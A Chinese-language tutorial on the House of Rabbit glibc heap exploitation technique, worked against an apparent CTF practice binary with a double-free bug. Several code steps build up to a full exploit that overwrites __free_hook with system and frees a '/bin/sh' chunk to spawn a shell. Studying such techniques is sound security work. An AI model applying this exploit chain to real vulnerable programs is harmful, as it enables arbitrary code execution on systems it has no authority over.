从零开始的Linux堆利用12 -- House of Rabbit

House of Rabbit

这种利用方式产生于2017年,本质的原理是可以通过修改fastbin的size或是fd,触发malloc_consolidate,使得fastbin被link到其他的bins中

首先检查程序的安全机制

image-20211210183459459

除了PIE随机化其他的都是全开

程序的菜单有一个限制

image-20211210183619003

总的申请chunk数量为9个,其中只能包含4次fastbin

对大小倒是没有限制,从fastbin到largebin都可以申请;

另外程序最开始有一个libc的leak,并且最初输入的age是可以通过菜单修改的;

程序free时没有清除meta data,导致存在double free的漏洞

和之前的几个实例相比,还有一个特点

image-20211210184557962

之前的程序user字段会在target的上面,这样我们可以将user字段伪造成一个chunk的size字段,进而申请空间后修改target

但是这个程序target是在user的上面的,这种方法就行不通了

house of force中,也有类似的情况,我们的解决方法是将Top Chunk溢出修改为一个特别大的值,之后申请内存时循环一圈申请到上方的空间

那么在这个程序中是否也可以使用类似的方法呢?

任意地址写

如果要利用这个user伪造chunk的size,使用类似house of force的方法申请很大的空间,那么只能设法将一个largebin link到这个user字段这里了。

house of lore中介绍过将伪造的chunk加入到largebin的方法

当时是存在溢出的漏洞可以修改一个largebin的fd、bk字段,但是这个程序中也无法实现这样的效果

首先利用fastbin dup得到一个overlap的指针

fast_A = malloc(0x18, "A"*8)
fast_B = malloc(0x18, "B"*8)

free(fast_A)
free(fast_B)
free(fast_A)

malloc(0x18, p64(elf.sym.usr))

但是这个程序只能申请4次fastbin,我们这就已经用了三次了

肯定是没办法直接用fastbin dup了,而且fastbin的大小对我们这种情况也不适用,我们想要的是largebin,准确的说的最大的largebin,只有最大的largebin才能申请无限大的chunk

下面就是house of rabbit的一个核心的内容了

首先我们可以设法触发malloc_consolidate,在这个函数中,会将fastbin放入到unsortedbin中尝试对内存进行合并,这样可以将fastbin放到unsortedbin中

malloc_consolidate没办法直接调用,只能间接设法触发

image-20211210202738385

在malloc的执行流程中,有两个地方用到了malloc_consolidate

可以看到上面的一次调用,只要malloc接收到largebin大小的申请就会触发

这个思想也很合理,当申请一个特别大的chunk时,会先将内存中细碎的小空间释放或合并,否则可能由于空间不连续多占用很多空间

那么修改一下exploit

fast_A = malloc(0x18, "A"*8)
fast_B = malloc(0x18, "B"*8)

free(fast_A)
free(fast_B)
free(fast_A)

malloc(0x18, p64(elf.sym.usr))
malloc(0x3f8,'a'*8)

这在执行时出现了报错

image-20211210211038111

不过好消息是这个报错是malloc_consolidat中触发的

也就是说我们成功触发了这个函数,出现错误的原因也很熟悉了,是unlink时的错误

这里unlink的是nextchunk,在gdb中print一下看看是哪一个chunk

image-20211210211748662

所以这里尝试unlink的是我们伪造的user的下一个位置

为什么会这样呢?

这需要结合malloc_consolidate的功能来考虑

这个函数的目的是合并内存的free碎片

顺着fastbin的fd找到在user伪造的chunk之后

  • fake chunk在fastbin上,所以是一个free的
  • 向下找fake chunk之后的chunk(即这里的nextchunk),判断它是否也需要合并进来
  • 从nextchunk接着往下找,看nextchunk后面的nnchunk的prev_inuse字段是否为0,如果是的话就合并进来

在这里接下来的部分size是0,所以nnchunk的prev_inuse也是0

malloc_consolidate认为nextchunk也是一个free了的chunk,所以需要将其unlink下来


要通过这个判断,有一个方法就是将fake chunk的size字段修改为1

由于大小是0,nextchunk也是指向了自己,接下来由于prev_inuse为1,就停止搜索了

这样运行仍然报了一个错

image-20211210214159861

不过已经不是之前consolidate的漏洞了

报错的原因是malloc(): memory corruption

image-20211210215021355

这时查看user结构体附近的值,可以看到unsortedbin的fd、bk已经写入到这里了

这说明我们已经通过malloc_consolidate将伪造的chunk从fastbin link到了unsortedbin中

接下来处理这里的报错

image-20211211153222168

报错出现的原因是在检验fake chunk的size时小于2*SIZE_SZ,不是一个有效的unsortedbin的size

上面malloc的流程图中可以看到在触发了malloc_consolidate之后紧接着做的事情就是scan unsortedbin,判断unsortedbin中是否有符合条件可以满足申请的chunk

要想解决这个问题有两个方法:

一是在这里申请large chunk之前更早的时候首先在unsortedbin中放一个可以满足要求的chunk,这样第一次扫描unsortedbin的时候就不会检查到fake chunk的size

二是直接放弃这个malloc_consolidate,转而尝试触发其他途径上的malloc_consolidate

思路一

修改exploit

large = malloc(0x3f8, "large")
avoid = malloc(0x98, 'small')

fast_A = malloc(0x18, "A"*8)
fast_B = malloc(0x18, "B"*8)

free(large)
free(fast_A)
free(fast_B)
free(fast_A)

malloc(0x18, p64(elf.sym.usr))
malloc(0x3f8,'a'*8)

在最上面增加一个large一个avoid

首先large的申请就是为了首先在unsortedbin中增加一个大小和我们要申请的内容相同的chunk

avoid则是为了防止与top chunk合并设置的

如果不增加avoid的话,large、fast_A、fast_B全部都会和top chunk合并,就无法留在unsortedbin中了

另外avoid还有一个作用是防止large和fast_A、fast_B合并

如果将avoid的位置放在fast_B的下面,这样在执行完毕malloc_consolidate之后,几个chunk都不会和top chunk合并,但是large和fast_A、fast_B会合并为一个chunk

image-20211211164524083

这导致unsortedbin中的大小发生了改变,unsortedbin的搜索停止条件是有一个chunk的大小完全相同,这样的话就无法阻止unsortedbin继续搜索我们的fake chunk

不过也可以通过修改最后一个malloc的大小解决,从0x3f8改为0x438即可

malloc(0x438,'a'*8)

思路二

其实malloc_consolidate除了在申请时可能触发,还可能在释放时触发

image-20211211165327694

在free时如果一个chunk的大小大于了fastbin consolidation threshold这个值

就会触发malloc_consolidate,这个值默认是65535

可以看到在到达这里之前,free函数首先会尝试与前后的chunk进行合并,合并之后才会判断是否需要consolidate fastbin

那么只要在堆靠近top chunk的地方free掉一个unsortedbin,unsortedbin与top chunk进行合并,之后发现top chunk的值大于了65535,之后就会触发malloc_consolidate

fast_A = malloc(0x18, "A"*8)
fast_B = malloc(0x18, "B"*8)

free(fast_A)
free(fast_B)
free(fast_A)

malloc(0x18, p64(elf.sym.usr))
unsorted = malloc(0x88,'a'*8)
free(unsorted)

既然成功将fake chunk放入到了unsortedbin中,接下来要做的就是将其放入到largebin

首先将age字段修改为0x80001

之后申请一个比这个还要大的chunk,这样就会将其从unsortedbin中unlink下来放到largebin

amend_age(0x80001)
malloc(0x80008,'bbbb')

运行之后,仍然报了一个错误

image-20211211153222168

和之前错误的是一个位置,也就是检查fake chunk的size时出错

但是这次不是因为太小了,而是因为太大了导致的

chunksize_nomask(victim)>av->system_mem

这时系统的av->system_mem比我们申请的chunk可小太多了

image-20211211185340567

但是这里的问题是,想要将chunk放入到最大的largebin,最小的值就是0x8001了

既然没办法修改这个值,那只能想办法让av->system_mem变大了

如果在之前申请一个特别大的chunk,那么系统就会更新system_mem

目前这个值是0x21000,那么如果申请一个0x60000大小的chunk,就可以将system_mem变的比0x80001大了

在最开始申请一个超大的chunk

very_large = malloc(0x5fff8,'bbbig')

继续运行,发现这个chunk并没有在堆里,system_mem也没有变大

image-20211211190152663

使用malloc_chunk m_array[0]-0x10可以看到

这个chunk的标识位IS_MMAPED被置为1了

也就是说这个chunk并不是通过malloc分配的,而是通过mmap分配的

在释放的时候也是直接使用unmmap释放

image-20211211190459164

这是因为申请的内存太大了,堆分配器认为程序一般不会用到这么大的内存

偶尔出现一次不如直接用mmap分配一个新的区域出来

实际上具体执行时比较的时mp_.mmap_threshold这个阈值

只要这个值不发生变化,那就没办法申请这么大的空间,所以必须想办法增大这个阈值才行

image-20211211190928605

改变这个阈值的情况就是当释放掉一个特别大并且有mmaped标识位的chunk时,如果它的大小大于现在的mp_.mmap_threshold就扩大这个阈值

所以我们改写一下exploit,free掉这个mmap的空间,并再申请一次

very_big = malloc(0x5fff8,'bbbig')
free(very_big)
very_big = malloc(0x5fff8,'bbbig')

fast_A = malloc(0x18, "A"*8)
fast_B = malloc(0x18, "B"*8)

free(fast_A)
free(fast_B)
free(fast_A)

malloc(0x18,p64(elf.sym.user))
large = malloc(0x88,'bbbb')
free(large)

amend_age(0x80001)
malloc(0x80008,'bbb')

这时再运行可以发现gdb没有报错了

主动暂停一下看看,可以看到mmap_threshold增大到了0x61000

另外整个堆空间的大小变成了0x81000

最后就是成功将fake chunk加入到了largebin

image-20211211191454847

可以看到skiplist的fd、bk也已经有了值

那么最后只需要申请一个超级大的空间,让内存滚上一圈

再申请下来target的空间就可以了

very_big = malloc(0x5fff8,'bbbig')
free(very_big)
very_big = malloc(0x5fff8,'bbbig')

fast_A = malloc(0x18, "A"*8)
fast_B = malloc(0x18, "B"*8)

free(fast_A)
free(fast_B)
free(fast_A)

malloc(0x18,p64(elf.sym.user))
large = malloc(0x88,'bbbb')
free(large)

amend_age(0x80001)
malloc(0x80008,'bbbb')

amend_age(0xfffffffffffffff1)
malloc(0xffffffffffffffff-elf.sym.user+elf.sym.target-0x20, 'bbbb')
malloc(0x18, b"Much Win\x00")

成功改写了目标字符串

image-20211211192634847

任意代码执行

有了任意地址写的能力,代码执行就很简单了

直接针对free_hook,将其修改为system的地址

上面的exploit进行一些修改

amend_age(0xfffffffffffffff1)

distance = libc.sym.__free_hook-0x20 - elf.sym.user
malloc(distance,'xxxx')

malloc(0x18, p64(libc.sym.system))

但是没想到在最后一个malloc居然出错了

出错的原因还是熟悉的unsortedbin大小检查时出错

image-20211211194036198

这个unsortedbin是哪里来的呢?

我们构造的fake chunk大小太大了,在申请一个从free_hook到user的内存之后,还有很大的剩余空间,因此需要放入到remainder中

所以这就导致remainder的size没有通过检查

那么对应的解决方法也很简单,只要设法让remainder的大小可控就可以了

distance = libc.sym.__free_hook-0x20 - elf.sym.user
print("distance %s" % hex(distance))

amend_age(distance+0x29)

binsh = malloc(distance,"/bin/sh\x00")
malloc(0x18, p64(0)+p64(libc.sym.system))
                                                                                                                                               
free(binsh)

重修修改一下fake chunk的size

让其大小正好是从user 到free_hook前面的差加上一个修改的chunk大小

image-20211211195958221

注意需要

调整一下age设置为16位对齐

最后执行就可以获得shell了

image-20211211200225548

最终完整的exploit

very_big = malloc(0x5fff8,'bbbig')
free(very_big)
very_big = malloc(0x5fff8,'bbbig')

fast_A = malloc(0x18, "A"*8)
fast_B = malloc(0x18, "B"*8)

free(fast_A)
free(fast_B)
free(fast_A) 

malloc(0x18,p64(elf.sym.user))
large = malloc(0x88,'bbbb')
free(large)

amend_age(0x80001)
malloc(0x80008,'bbb')


distance = libc.sym.__free_hook-0x20 - elf.sym.user
print("distance %s" % hex(distance))

amend_age(distance+0x29)

binsh = malloc(distance,"/bin/sh\x00")
malloc(0x18, p64(0)+p64(libc.sym.system))

free(binsh)